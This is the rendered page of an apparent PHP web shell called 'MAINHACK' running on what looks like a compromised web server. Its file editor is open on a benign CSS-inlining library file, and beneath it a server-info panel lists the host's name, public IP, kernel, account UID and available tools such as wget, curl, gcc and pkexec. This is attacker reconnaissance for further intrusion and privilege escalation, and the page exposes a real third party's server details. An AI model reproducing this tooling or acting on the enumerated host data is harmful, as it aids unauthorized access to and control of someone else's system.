[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Processor.php
<?php namespace TijsVerkoyen\CssToInlineStyles\Css\Property; use Symfony\Component\CssSelector\Node\Specificity; class Processor { /** * Split a string into separate properties * * @param string $propertiesString * * @return string[] */ public function splitIntoSeparateProperties($propertiesString) { $propertiesString = $this->cleanup($propertiesString); $properties = (array) explode(';', $propertiesString); $keysToRemove = array(); $numberOfProperties = count($properties); for ($i = 0; $i < $numberOfProperties; $i++) { $properties[$i] = trim($properties[$i]); // if the new property begins with base64 it is part of the current property if (isset($properties[$i + 1]) && strpos(trim($properties[$i + 1]), 'base64,') === 0) { $properties[$i] .= ';' . trim($properties[$i + 1]); $keysToRemove[] = $i + 1; } } if (!empty($keysToRemove)) { foreach ($keysToRemove as $key) { unset($properties[$key]); } } return array_values($properties); } /** * @param string $string * * @return string */ private function cleanup($string) { $string = str_replace(array("\r", "\n"), '', $string); $string = str_replace(array("\t"), ' ', $string); $string = str_replace('"', '\'', $string); $string = preg_replace('|/\*.*?\*/|', '', $string); $string = preg_replace('/\s\s+/', ' ', $string); $string = trim($string); $string = rtrim($string, ';'); return $string; } /** * Converts a property-string into an object * * @param string $property * * @return Property|null */ public function convertToObject($property, Specificity $specificity = null) { if (strpos($property, ':') === false) { return null; } list($name, $value) = explode(':', $property, 2); $name = trim($name); $value = trim($value); if ($value === '') { return null; } return new Property($name, $value, $specificity); } /** * Converts an array of property-strings into objects * * @param string[] $properties * * @return Property[] */ public function convertArrayToObjects(array $properties, Specificity $specificity = null) { $objects = array(); foreach ($properties as $property) { $object = $this->convertToObject($property, $specificity); if ($object === null) { continue; } $objects[] = $object; } return $objects; } /** * Build the property-string for multiple properties * * @param Property[] $properties * * @return string */ public function buildPropertiesString(array $properties) { $chunks = array(); foreach ($properties as $property) { $chunks[] = $property->toString(); } return implode(' ', $chunks); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002